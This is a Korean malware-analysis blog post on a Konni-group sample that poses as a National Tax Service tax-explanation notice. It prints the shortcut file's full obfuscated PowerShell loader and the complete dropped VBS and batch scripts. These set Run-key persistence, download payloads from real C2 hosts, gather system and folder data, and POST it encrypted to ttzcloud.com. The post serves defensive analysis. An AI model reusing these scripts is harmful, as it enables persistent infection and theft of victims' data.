디지털포렌식/악성코드 샘플 분석

[코니그룹] 국세청 사칭 악성코드 - 국세청 종합소득세 해명자료 제출 안내 (2023.9.4)

Lhaaan 2023. 10. 28. 13:43

파일 구성

  • 파일명: d245f208d2a682f4d2c4464557973bf26dee756b251f162adb00b4074b4db3ac.zip
  • 해시값
    • MD5: ddd07976e889bfc58e2925cd22e5198a
    • SHA-1: cabb494d8a2a36a3f653aa7900a14a921dccf05e
    • SHA-256: d245f208d2a682f4d2c4464557973bf26dee756b251f162adb00b4074b4db3ac
  • 총 3가지 파일이 들어가 있음
    • 국세청 종합소득세 해명자료 제출 안내.hwp.lnk
      • 바로가기 파일로 되어 있음
    • 국채 및 통화안정증권 거래ㆍ보유 명세서(소득세법 시행규칙).hwp
    • 근로소득지급명세서(개정안_230228).hwp

국세청 종합소득세 해명자료 제출 안내.hwp

  • 바로가기 파일로 되어 있으며 바이러스토탈 에서 트로이목마로 탐지됨
  • 바이러스 토탈 탐지: 34/60

  • 대상에 cmd.exe를 실행하는 것으로 되어 있는데 뒤에 아무 문자열이 나오지 않음

import LnkParse3

with open("C:\\Users\\dfrc\\Downloads\\SSView\\국세청 종합소득세 해명자료 제출 안내.hwp.lnk", "rb") as indata:
    lnk = LnkParse3.lnk_file(indata)
    lnk.print_json()

 

 /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l
^l -windowstyle hidden $dedicte=\"$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E
6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571
203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A65637420
7B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154
464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A
52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154
464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765
552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737
207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E49
4F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D4765555071
54462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D
273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345
546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C54
6571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A5776
6D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E76627327
3B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', 
'0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;\";Invoke-Expression $dedicte;",
        "description": "hwp File",
        "icon_location": ".hwp"
    },
    "extra": {
        "ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK": {
            "size": 788,
            "target_ansi": "%windir%\\system32\\cmd.exe",
            "target_unicode": "%windir%\\system32\\cmd.exe"
        }
    },
    "header": {
        "accessed_time": null,
        "creation_time": null,
        "file_flags": [],
        "file_size": 0,
        "guid": "00021401-0000-0000-C000-000000000046",
        "hotkey": "UNSET - UNSET {0x0000}",
        "icon_index": 0,
        "link_flags": [
            "HasName",
            "HasArguments",
            "HasIconLocation",
            "IsUnicode",
            "HasExpString",
            "PreferEnvironmentPath"
        ],
        "modified_time": null,
        "r_file_flags": 0,
        "r_hotkey": 0,
        "r_link_flags": 33555172,
        "windowstyle": "SW_SHOWMINNOACTIVE"
    },
    "link_info": {}
}
  • /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l^l -windowstyle hidden
    • || 연산자를 통해 파워쉘 명령어를 실행하는 것으로 보임
  • $dedicte=\"$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E 6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571 203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A65637420 7B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154 464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A 52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154 464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765 552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737 207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E49 4F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D4765555071 54462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D 273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345 546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C54 6571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A5776 6D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E76627327 3B2620244F70757562635558546A3B
    • 해당 문자열은 HEX 값으로 HXD로 확인해본 결과 파워쉘 스크립트를 통해 vbs 파일을 실행시킴
      • zip 파일을 만들고 압축을 해제해서 bat 파일들을 드롭하는 것으로 보임
    • lnk 파일 실행을 통해 다른 악성파일들을 가져옴
    • vbs를 포함해서 총 8개의 파일이 새로 생성되는데, 국세청 종합소득세 한글 파일의 경우에는 lnk 파일이 실행된 후에 정상적인 파일로 덮어쓰기 위해 똑같은 경로에 생성되어 덮어씌어지는 것이고, vbs 코드에서 bat 파일들을 실행하는 것으로 보임

start.vbs

  • 05770246.bat 파일을 백그라운드로 실행하려는 코드로 보임
  • objConfig.ShowWindow = 0 → bat 파일 실행 시 창이 안보이게끔 하는 설정
Set wmObjStart = GetObject("winmgmts:win32_ProcessStartup")
Set objConfig = wmObjStart.SpawnInstance_
objConfig.ShowWindow = 0
oMNGDkAxevWHSiZA = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set wmObj = GetObject("winmgmts:win32_process")
res = wmObj.Create(oMNGDkAxevWHSiZA & "\05772046.bat", Null, objConfig, pid)
Set wmObj = Nothing
Set objConfig = Nothing
Set wmObjStart = Nothing

05772046.bat

  • 스크립트가 위치한 곳으로 이동 후 start.vbs를 PC가 켜질때마다 실행되도록 레지스트리에 등록
  • 43595826.bat, 36838375.bat 실행
  • 43595826.bat 삭제
  • 43595826.bat 파일도 없고, upok.txt 파일이 없으면 36838375.bat 다시 실행
  • pakistan.txt 있으면 pakistan.txt 삭제 후 실행 종료
  • pakistan.txt 없으면 temprun.bat 파일이 있는지 확인 후 삭제
  • 67611071.bat 실행 시 인자로 “http://ttzcloud.com/list.php?f=%COMPUTERNAME%.txt” , "%~dp0TBMjS.cab" , “1” 넣어서 실행 → cab 파일을 다운로드 받는 행위
    • "expand" 명령어를 사용하여 TBMjS.cab 파일의 내용을 현재 작업 디렉터리로 풀어냄
    • 그 후에 cab 파일을 지우고 temprun.bat 실행 후 57초간 대기
  • 또 pakistan.txt 없으면 temprun.bat 파일이 있는지 확인 후 삭제
@echo off

pushd "%~dp0"

if exist "43595826.bat" (

	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
	
	call 43595826.bat > nul
	call 36838375.bat > nul

	del /f /q 43595826.bat > nul
)

if not exist "43595826.bat" (
	if not exist "upok.txt"  (
		call 36838375.bat > nul
	)
)

if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)

:1

if exist "temprun.bat" (
del /f /q temprun.bat
)

call 67611071.bat "http://ttzcloud.com/list.php?f=%COMPUTERNAME%.txt" "%~dp0TBMjS.cab" "1"> nul

expand TBMjS.cab -F:* %~dp0 > nul
del /f /q TBMjS.cab > nul
call temprun.bat > nul


timeout -t 57 /nobreak

if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)

 
:EXIT
del /f /q "pakistan.txt"

43595826.bat

  • 67611071.bat 실행 시 "https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502", “49996.zip”, “0” 3개 인자를 넣어 줌
  • 49996.zip 파일을 받는 행위를 하는것 같음
  • zip 파일이 없으면 있는지 한번 더 확인 후 있으면 삭제 후 종료
  • 63237951.bat 파일 실행 시 “49996.zip” , “49996”을 인자로 넣어줌
  • zip 파일이랑 63237951.bat 파일 삭제
  • dt가 빈 문자열이 아니면
    • unzip.exe를 통해 zip 파일 압축 해제 후 삭제
    • 49996 파일 삭제
  • dt가 있으면 rundll32.exe %~dp0%dt% Run 실행 3번 반복
    • for /L %%i IN (1,1,3) DO ( if exist %~dp0%dt% ( rundll32.exe %~dp0%dt% Run )
      • 49996 파일을 실행하려고 하는 것으로 보이는데, 이 부분이 정상적인 hwp 파일을 실행시킴으로서 lnk 파일이 실행되었다고 의심하지 못하게 하려고 하는 부분인것으로 보임
      • "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp [출처: app.any.run]
@echo off
pushd %~dp0
set fn=49996
call 67611071.bat "https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502" "%~dp0%fn%.zip" "0" > nul
if not exist %~dp0%fn%.zip (
	goto END1
)
call 63237951.bat "%fn%.zip" "%fn%" > nul
set /p dt=<%~dp0%fn%
del /f /q %~dp0%fn% > nul
del /f /q %~dp063237951.bat > nul
if not "%dt%"=="" (
	call unzip.exe -P "a" "%~dp0%fn%.zip" > nul
	del /f /q %~dp0%fn%.zip > nul
	for /L %%i IN (1,1,3) DO (
		if exist %~dp0%dt% (
		rundll32.exe %~dp0%dt% Run
		) 
		timeout -t 90 /nobreak
		if not exist %~dp0%dt% (
			goto END1
		)
	)
)
:END1
if exist %~dp0%fn%.zip (
	del /f /q %~dp0%fn%.zip > nul
)

36838375.bat

  • 3개 폴더 안에 있는 파일 및 디렉토리들의 정보를 txt 파일에 저장
    • downloads 폴더 → cuserdown.txt
    • documents 폴더 → cuserdocu.txt
    • desktop 폴더 → cuserdesk.txt
  • nslookup을 통해 나온 ip 정보를 ipinfo.txt에 저장
  • tasklist, systeminfo → tsklt.txt, systeminfo.txt 에 저장
  • 5초간 대기 후 74727756.bat 파일을 통해 가져온 정보들을 전송하는 것으로 보임
    • url = http://ttzcloud.com/upload.php
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0cuserdown.txt
dir C:\Users\%username%\documents\ /s > %~dp0cuserdocu.txt
dir C:\Users\%username%\desktop\ /s > %~dp0cuserdesk.txt

nslookup myip.opendns.com resolver1.opendns.com > %~dp0ipinfo.txt
tasklist > %~dp0tsklt.txt
systeminfo > %~dp0systeminfo.txt

timeout -t 5 /nobreak
set url=http://ttzcloud.com/upload.php
call 74727756.bat "%url%" "cuserdown.txt"  "%COMPUTERNAME%_cuserdown.txt" >nul
call 74727756.bat "%url%" "cuserdocu.txt"  "%COMPUTERNAME%_cuserdocu.txt" >nul
call 74727756.bat "%url%" "cuserdesk.txt"  "%COMPUTERNAME%_cuserdesk.txt" >nul
call 74727756.bat "%url%" "systeminfo.txt"  "%COMPUTERNAME%_systeminfo.txt" >nul
call 74727756.bat "%url%" "ipinfo.txt"  "%COMPUTERNAME%_ipinfo.txt" >nul
call 74727756.bat "%url%" "tsklt.txt"  "%COMPUTERNAME%_tsklt.txt" >nul

67611071.bat

  • url을 통해 request를 시도 하는데 3번째 인자가 0인지 1인지에 따라서 하는 행위가 조금 다름
  • 1일때는 암호화 통신인거같고, 0일때는 그냥 통신인듯?
  • 어쨌든 파일을 받아오는 역할을 하는 놈임
@echo off
pushd %~dp0
set "hcpmTcCioulsENut=%~1"
set "PRKGOEgCSjkrNLwA=%~3"
if not "%PRKGOEgCSjkrNLwA%" == "0" (
	powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText);    $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i %% $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) %% 256;$j = ($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) %% 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$url = '%hcpmTcCioulsENut%';$VcuqEzofhsTtIrLF = '%~2';Add-Type -AssemblyName 'System.Web'; $key=(Get-Date).Ticks.ToString();	$queryString = $url.Split('?')[1];	$queryParams = $queryString -split '&' | ForEach-Object {$param = $_ -split '=';[PSCustomObject]@{Name  = $param[0];Value = $param[1];}};$query = [System.Web.HttpUtility]::ParseQueryString('');$queryParams | ForEach-Object {$encoded = ESTR -PlainText $_.Value -Key $key;$query[$_.Name] = $encoded;};$url=$url.Split('?')[0]+'?'+$query.ToString()+'&'+'r='+$key;iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;" > nul
)else (
	powershell -command "$url = '%hcpmTcCioulsENut%';$VcuqEzofhsTtIrLF = '%~2';iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;" > nul
)

63237951.bat

  • 43595826.bat에서 call 63237951.bat "%fn%.zip" "%fn%" > nul 명령어 실행
  • zip 파일 안에 파일들의 이름을 49996 파일에 입력
@echo off
pushd %~dp0
powershell -command "$s=new-object -com shell.application;$z=$s.Namespace('%~dp0%~1');$z.items().item(0).name;" > %~dp0%~2

74727756.bat

  • 74727756.bat 파일을 통해 해당 명령어들 수행
    • url = http://ttzcloud.com/upload.php
    • call 74727756.bat "%url%" "cuserdown.txt" "%COMPUTERNAME%_cuserdown.txt" >nul call 74727756.bat "%url%" "cuserdocu.txt" "%COMPUTERNAME%_cuserdocu.txt" >nul call 74727756.bat "%url%" "cuserdesk.txt" "%COMPUTERNAME%_cuserdesk.txt" >nul call 74727756.bat "%url%" "systeminfo.txt" "%COMPUTERNAME%_systeminfo.txt" >nul call 74727756.bat "%url%" "ipinfo.txt" "%COMPUTERNAME%_ipinfo.txt" >nul call 74727756.bat "%url%" "tsklt.txt" "%COMPUTERNAME%_tsklt.txt" >nul
  • 전체적인 흐름을 봤을 때 해당 악성 url에 피해자 PC의 정보를 읽은 txt 파일들을 POST 메소드를 통해 전송하는 것, 암호화 통신을 사용
  • 서버에서의 응답이 'OK'인 경우 (상태 코드 200), 스크립트는 원본 파일을 삭제하고 스크립트 디렉토리에 upok.txt 라는 이름의 파일을 생성합니다.

 

@echo off
pushd %~dp0
set "tDTVLEqumwVkQwuk=%~1"
set fName=fn
set fData=fd
powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText);    $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i %% $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) %% 256;$j = ($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) %% 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='%tDTVLEqumwVkQwuk%';$fn='%~3';$fp='%~dp0%~2';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['%fName%']=$fn;$query['%fData%']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='%~dp0upok.txt';New-Item -ItemType File -Path $fpok;}" > nul

유포지 및 C&C 서버

  • https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502 (188.116.36.185_네덜란드)
  • http://ttzcloud.com (88.119.169.96_리투아니아)